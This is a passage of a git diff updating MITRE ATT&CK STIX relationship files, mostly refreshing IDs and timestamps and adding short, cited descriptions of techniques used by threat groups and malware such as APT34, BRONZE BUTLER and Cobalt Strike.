diff --git a/enterprise-attack/relationship/relationship--d4968f45-d06b-4843-8f72-6e08beb94cab.json b/enterprise-attack/relationship/relationship--d4968f45-d06b-4843-8f72-6e08beb94cab.json
index 70773724b2..4e74df3034 100644
--- a/enterprise-attack/relationship/relationship--d4968f45-d06b-4843-8f72-6e08beb94cab.json
+++ b/enterprise-attack/relationship/relationship--d4968f45-d06b-4843-8f72-6e08beb94cab.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7063d45d-77d8-42e3-8bf4-7fea0c0c4f53",
+    "id": "bundle--83882f0c-beb3-4145-9801-4269ae35edb4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d4968f45-d06b-4843-8f72-6e08beb94cab",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.070Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
             "target_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
diff --git a/enterprise-attack/relationship/relationship--d4ca926c-6976-4ee8-a5b0-89aa11931bea.json b/enterprise-attack/relationship/relationship--d4ca926c-6976-4ee8-a5b0-89aa11931bea.json
index 855f078905..a8a8d51634 100644
--- a/enterprise-attack/relationship/relationship--d4ca926c-6976-4ee8-a5b0-89aa11931bea.json
+++ b/enterprise-attack/relationship/relationship--d4ca926c-6976-4ee8-a5b0-89aa11931bea.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--91b635a0-051b-4e86-8948-cc257d2d4234",
+    "id": "bundle--edc6caa8-89e0-4b09-ad7e-ca4aff8a5d13",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d4ca926c-6976-4ee8-a5b0-89aa11931bea",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves can enumerate and search for files and directories.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
diff --git a/enterprise-attack/relationship/relationship--d4d07662-749c-4116-a83c-e4045eddad43.json b/enterprise-attack/relationship/relationship--d4d07662-749c-4116-a83c-e4045eddad43.json
index ecf0a322b5..eb17e92e21 100644
--- a/enterprise-attack/relationship/relationship--d4d07662-749c-4116-a83c-e4045eddad43.json
+++ b/enterprise-attack/relationship/relationship--d4d07662-749c-4116-a83c-e4045eddad43.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7cdb87cc-8c53-4e6b-833b-87650458244f",
+    "id": "bundle--45e7ea43-65fc-4ac5-a97b-d49edd4b4848",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d4d07662-749c-4116-a83c-e4045eddad43",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has used DLL side-loading to launch versions of Mimikatz and PwDump6.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
diff --git a/enterprise-attack/relationship/relationship--d4d35e55-6a09-47ef-8de5-160468276025.json b/enterprise-attack/relationship/relationship--d4d35e55-6a09-47ef-8de5-160468276025.json
index 40e13db771..05b7c8da30 100644
--- a/enterprise-attack/relationship/relationship--d4d35e55-6a09-47ef-8de5-160468276025.json
+++ b/enterprise-attack/relationship/relationship--d4d35e55-6a09-47ef-8de5-160468276025.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--58e29d69-6f3c-4627-95d9-41d109aa2d42",
+    "id": "bundle--00d32079-c320-4a53-8774-b928a227b28e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d4d35e55-6a09-47ef-8de5-160468276025",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "at can be used to schedule a task on a system.",
             "source_ref": "tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952",
diff --git a/enterprise-attack/relationship/relationship--d4f48744-0564-4ef3-bdae-421076912495.json b/enterprise-attack/relationship/relationship--d4f48744-0564-4ef3-bdae-421076912495.json
new file mode 100644
index 0000000000..a7fd40f8c2
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--d4f48744-0564-4ef3-bdae-421076912495.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--cb14d413-7148-4e0a-ac9c-f50eb0cfd606",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--d4f48744-0564-4ef3-bdae-421076912495",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Cobalt Strike can install a new service.",
+            "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
+            "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790",
+            "external_references": [
+                {
+                    "source_name": "Cobalt Strike TTPs Dec 2017",
+                    "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.",
+                    "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--d4fd461f-fc58-4060-aed4-cebe64f249b9.json b/enterprise-attack/relationship/relationship--d4fd461f-fc58-4060-aed4-cebe64f249b9.json
index 1d651f9aa0..1622f266bc 100644
--- a/enterprise-attack/relationship/relationship--d4fd461f-fc58-4060-aed4-cebe64f249b9.json
+++ b/enterprise-attack/relationship/relationship--d4fd461f-fc58-4060-aed4-cebe64f249b9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--99f87b4f-6297-407a-b103-3139321cf07c",
+    "id": "bundle--0e442f9b-b335-45b7-afb6-db71034cfce9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d4fd461f-fc58-4060-aed4-cebe64f249b9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Arp can be used to display ARP configuration information on the host.",
             "source_ref": "tool--30489451-5886-4c46-90c9-0dff9adc5252",
diff --git a/enterprise-attack/relationship/relationship--d5166d3e-246b-473c-9ff0-c5cc97dd91de.json b/enterprise-attack/relationship/relationship--d5166d3e-246b-473c-9ff0-c5cc97dd91de.json
index a16525c75b..048f606d65 100644
--- a/enterprise-attack/relationship/relationship--d5166d3e-246b-473c-9ff0-c5cc97dd91de.json
+++ b/enterprise-attack/relationship/relationship--d5166d3e-246b-473c-9ff0-c5cc97dd91de.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f8dcd50e-38d5-4273-a4a8-6d54c0b3cccb",
+    "id": "bundle--d0aa5116-cb64-4de0-8728-b1eaa946509f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d5166d3e-246b-473c-9ff0-c5cc97dd91de",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy 2 contains a \"Destroy\" plug-in that destroys data stored on victim hard drives by overwriting file contents.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Securelist BlackEnergy Feb 2015",
                     "description": "Baumgartner, K. and Garnaeva, M.. (2015, February 17). BE2 extraordinary plugins, Siemens targeting, dev fails. Retrieved March 24, 2016.",
-                    "url": "https://securelist.com/blog/research/68838/be2-extraordinary-plugins-siemens-targeting-dev-fails/"
+                    "url": "https://securelist.com/be2-extraordinary-plugins-siemens-targeting-dev-fails/68838/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--d53d1e84-f4de-4e6a-bc84-5edfce84b055.json b/enterprise-attack/relationship/relationship--d53d1e84-f4de-4e6a-bc84-5edfce84b055.json
index 234f6aead8..23eef906b8 100644
--- a/enterprise-attack/relationship/relationship--d53d1e84-f4de-4e6a-bc84-5edfce84b055.json
+++ b/enterprise-attack/relationship/relationship--d53d1e84-f4de-4e6a-bc84-5edfce84b055.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8ee520a8-edac-4002-8116-4b02164d5157",
+    "id": "bundle--cf75c109-e814-4ed5-bb28-62695a0b4c9c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d53d1e84-f4de-4e6a-bc84-5edfce84b055",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OwaAuth uses incoming HTTP requests with a username keyword and commands and handles them as instructions to perform actions.",
             "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
diff --git a/enterprise-attack/relationship/relationship--d57d1a71-6ac7-4028-ba73-86e5df98395f.json b/enterprise-attack/relationship/relationship--d57d1a71-6ac7-4028-ba73-86e5df98395f.json
index a0aa08b47a..5fdb962f4b 100644
--- a/enterprise-attack/relationship/relationship--d57d1a71-6ac7-4028-ba73-86e5df98395f.json
+++ b/enterprise-attack/relationship/relationship--d57d1a71-6ac7-4028-ba73-86e5df98395f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0dc4f38f-3525-4f27-a160-607397eedbdc",
+    "id": "bundle--a74396d4-15f4-4975-be80-069d93a3d0ed",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d57d1a71-6ac7-4028-ba73-86e5df98395f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "POSHSPY modifies timestamps of all downloaded executables to match a randomly selected file created prior to 2013.",
             "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808",
diff --git a/enterprise-attack/relationship/relationship--d57dd9d9-d075-48c4-ae54-ed0aeae575de.json b/enterprise-attack/relationship/relationship--d57dd9d9-d075-48c4-ae54-ed0aeae575de.json
new file mode 100644
index 0000000000..0e1627bf4e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--d57dd9d9-d075-48c4-ae54-ed0aeae575de.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--5a8597e0-b534-451b-a926-79f9384a55e6",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--d57dd9d9-d075-48c4-ae54-ed0aeae575de",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has used VBS, VBE, and batch scripts for execution.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--d5c86dd3-3cfa-4ade-8984-fdf079b9f81b.json b/enterprise-attack/relationship/relationship--d5c86dd3-3cfa-4ade-8984-fdf079b9f81b.json
index eb7fb411da..ae3892bd37 100644
--- a/enterprise-attack/relationship/relationship--d5c86dd3-3cfa-4ade-8984-fdf079b9f81b.json
+++ b/enterprise-attack/relationship/relationship--d5c86dd3-3cfa-4ade-8984-fdf079b9f81b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dab080b8-e5a1-49cf-8946-318ee0d1b95a",
+    "id": "bundle--64cde4ae-2e64-4527-ae64-f834361d3c18",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d5c86dd3-3cfa-4ade-8984-fdf079b9f81b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM strings, network data, configuration, and modules are encrypted with a modified RC4 algorithm.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
diff --git a/enterprise-attack/relationship/relationship--d6154157-fe69-4da3-8cc3-790eecf33f8c.json b/enterprise-attack/relationship/relationship--d6154157-fe69-4da3-8cc3-790eecf33f8c.json
index ef911b69f9..b084f96ecc 100644
--- a/enterprise-attack/relationship/relationship--d6154157-fe69-4da3-8cc3-790eecf33f8c.json
+++ b/enterprise-attack/relationship/relationship--d6154157-fe69-4da3-8cc3-790eecf33f8c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4da8cd59-7141-4088-a174-e173a2b80bbe",
+    "id": "bundle--befe9305-380e-474b-ba15-20c99862d5fb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d6154157-fe69-4da3-8cc3-790eecf33f8c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HALFBAKED can obtain information about the OS, processor, and BIOS.",
             "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f",
diff --git a/enterprise-attack/relationship/relationship--d6204645-83ff-4b26-a011-9b58bab2d597.json b/enterprise-attack/relationship/relationship--d6204645-83ff-4b26-a011-9b58bab2d597.json
new file mode 100644
index 0000000000..e7fdb48864
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--d6204645-83ff-4b26-a011-9b58bab2d597.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--7362ee6e-4054-4aea-a639-b1434cfcc969",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--d6204645-83ff-4b26-a011-9b58bab2d597",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Daserf uses HTTP for C2.",
+            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
+            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--d64ba78c-a332-40be-8e2f-904f15ceffe7.json b/enterprise-attack/relationship/relationship--d64ba78c-a332-40be-8e2f-904f15ceffe7.json
index 0945770a86..73beba595d 100644
--- a/enterprise-attack/relationship/relationship--d64ba78c-a332-40be-8e2f-904f15ceffe7.json
+++ b/enterprise-attack/relationship/relationship--d64ba78c-a332-40be-8e2f-904f15ceffe7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8c039793-da4c-4d4f-ae75-efe1ac1085c6",
+    "id": "bundle--b14e0e3a-3049-4ac7-8916-4ab23e52146f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d64ba78c-a332-40be-8e2f-904f15ceffe7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some Sakula samples install themselves as services for persistence by calling WinExec with the <code>net start</code> argument.",
             "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
diff --git a/enterprise-attack/relationship/relationship--d691e305-8ce5-40cd-a648-b0dcab329e69.json b/enterprise-attack/relationship/relationship--d691e305-8ce5-40cd-a648-b0dcab329e69.json
new file mode 100644
index 0000000000..ea5ec7aff2
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--d691e305-8ce5-40cd-a648-b0dcab329e69.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--d7346473-aff8-4d1c-857d-51cd40288b0d",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--d691e305-8ce5-40cd-a648-b0dcab329e69",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "tool--c9703cd3-141c-43a0-a926-380082be5d04",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--d6c628b9-789a-416b-8abe-cd457e566346.json b/enterprise-attack/relationship/relationship--d6c628b9-789a-416b-8abe-cd457e566346.json
index 2a0ee9d0b0..49010cad29 100644
--- a/enterprise-attack/relationship/relationship--d6c628b9-789a-416b-8abe-cd457e566346.json
+++ b/enterprise-attack/relationship/relationship--d6c628b9-789a-416b-8abe-cd457e566346.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b3b7b7be-0702-4bc4-a5e0-66d1b4f3cf59",
+    "id": "bundle--65241d47-8134-42b3-8c8d-25a6245c7e18",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d6c628b9-789a-416b-8abe-cd457e566346",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Crimson uses a custom TCP protocol for C2.",
             "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
diff --git a/enterprise-attack/relationship/relationship--d6d66a6f-dbc8-4d7b-b3fc-634f2765429a.json b/enterprise-attack/relationship/relationship--d6d66a6f-dbc8-4d7b-b3fc-634f2765429a.json
new file mode 100644
index 0000000000..aff7e072eb
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--d6d66a6f-dbc8-4d7b-b3fc-634f2765429a.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--d9402a6b-be58-4246-ab97-fb8ba33e0d56",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--d6d66a6f-dbc8-4d7b-b3fc-634f2765429a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "named its tools to masquerade as Windows or Adobe Reader software, such as by using the file name adobecms.exe and the directory <code>CSIDL_APPDATA\\microsoft\\security</code>.",
+            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
+            "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
+            "external_references": [
+                {
+                    "source_name": "Symantec Sowbug Nov 2017",
+                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--d6e40826-7af0-4e4e-96c3-28493abda6c7.json b/enterprise-attack/relationship/relationship--d6e40826-7af0-4e4e-96c3-28493abda6c7.json
index 2a3a790317..ec99949e59 100644
--- a/enterprise-attack/relationship/relationship--d6e40826-7af0-4e4e-96c3-28493abda6c7.json
+++ b/enterprise-attack/relationship/relationship--d6e40826-7af0-4e4e-96c3-28493abda6c7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--857c4432-5024-4ca0-893d-ad30946f2f8c",
+    "id": "bundle--272d6b99-bd7e-4abf-960c-a76a45984ce9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d6e40826-7af0-4e4e-96c3-28493abda6c7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.032Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2e5d3a83-fe00-41a5-9b60-237efc84832f",
             "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
diff --git a/enterprise-attack/relationship/relationship--d6e43621-ca4a-475f-b81c-037a0878728b.json b/enterprise-attack/relationship/relationship--d6e43621-ca4a-475f-b81c-037a0878728b.json
index 1a384da576..ca2315d826 100644
--- a/enterprise-attack/relationship/relationship--d6e43621-ca4a-475f-b81c-037a0878728b.json
+++ b/enterprise-attack/relationship/relationship--d6e43621-ca4a-475f-b81c-037a0878728b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--14c89bd6-d085-4d6d-bca3-6f4a7ef00bbe",
+    "id": "bundle--48e53703-d8ab-437f-9973-2282b1f8fbd2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d6e43621-ca4a-475f-b81c-037a0878728b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.075Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Patchwork used PowerSploit to download and run a reverse shell.",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
diff --git a/enterprise-attack/relationship/relationship--d6e48ec5-1634-4ddd-865e-0bcb32a1fd1a.json b/enterprise-attack/relationship/relationship--d6e48ec5-1634-4ddd-865e-0bcb32a1fd1a.json
new file mode 100644
index 0000000000..b760f1f69c
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--d6e48ec5-1634-4ddd-865e-0bcb32a1fd1a.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--5ff3d5c8-8b9a-434a-982f-99594731bb4a",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--d6e48ec5-1634-4ddd-865e-0bcb32a1fd1a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 has deleted initial drop files from the staging directory.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--d6fd820e-09ea-494d-a5f7-9de4431a309d.json b/enterprise-attack/relationship/relationship--d6fd820e-09ea-494d-a5f7-9de4431a309d.json
new file mode 100644
index 0000000000..8de81c389f
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--d6fd820e-09ea-494d-a5f7-9de4431a309d.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--c10ccba0-e6c4-4dc0-9ba6-a929b76837ec",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--d6fd820e-09ea-494d-a5f7-9de4431a309d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can execute commands remotely by creating a new service on the remote system .",
+            "source_ref": "malware--4e6b9625-bbda-4d96-a652-b3bb45453f26",
+            "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba",
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--d72da887-5684-47ac-958a-84b3e8b59c0b.json b/enterprise-attack/relationship/relationship--d72da887-5684-47ac-958a-84b3e8b59c0b.json
index bba586111d..22e0e0f099 100644
--- a/enterprise-attack/relationship/relationship--d72da887-5684-47ac-958a-84b3e8b59c0b.json
+++ b/enterprise-attack/relationship/relationship--d72da887-5684-47ac-958a-84b3e8b59c0b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7a8c3642-e1ec-4053-98cb-0146a5718d93",
+    "id": "bundle--9e262973-2566-41ee-915a-9136997713ee",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d72da887-5684-47ac-958a-84b3e8b59c0b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Nidiran communicates with its C2 domain over ports 443 and 8443.",
             "source_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe",
diff --git a/enterprise-attack/relationship/relationship--d75ee2bd-801c-4521-8d70-f5e2d64c87f9.json b/enterprise-attack/relationship/relationship--d75ee2bd-801c-4521-8d70-f5e2d64c87f9.json
index b1ab54fe56..9b8a22bf2a 100644
--- a/enterprise-attack/relationship/relationship--d75ee2bd-801c-4521-8d70-f5e2d64c87f9.json
+++ b/enterprise-attack/relationship/relationship--d75ee2bd-801c-4521-8d70-f5e2d64c87f9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--55957925-3dea-438c-8595-5e0ee30fa4d6",
+    "id": "bundle--9b397856-c5bd-4884-8f7e-81bdb8bb0f68",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
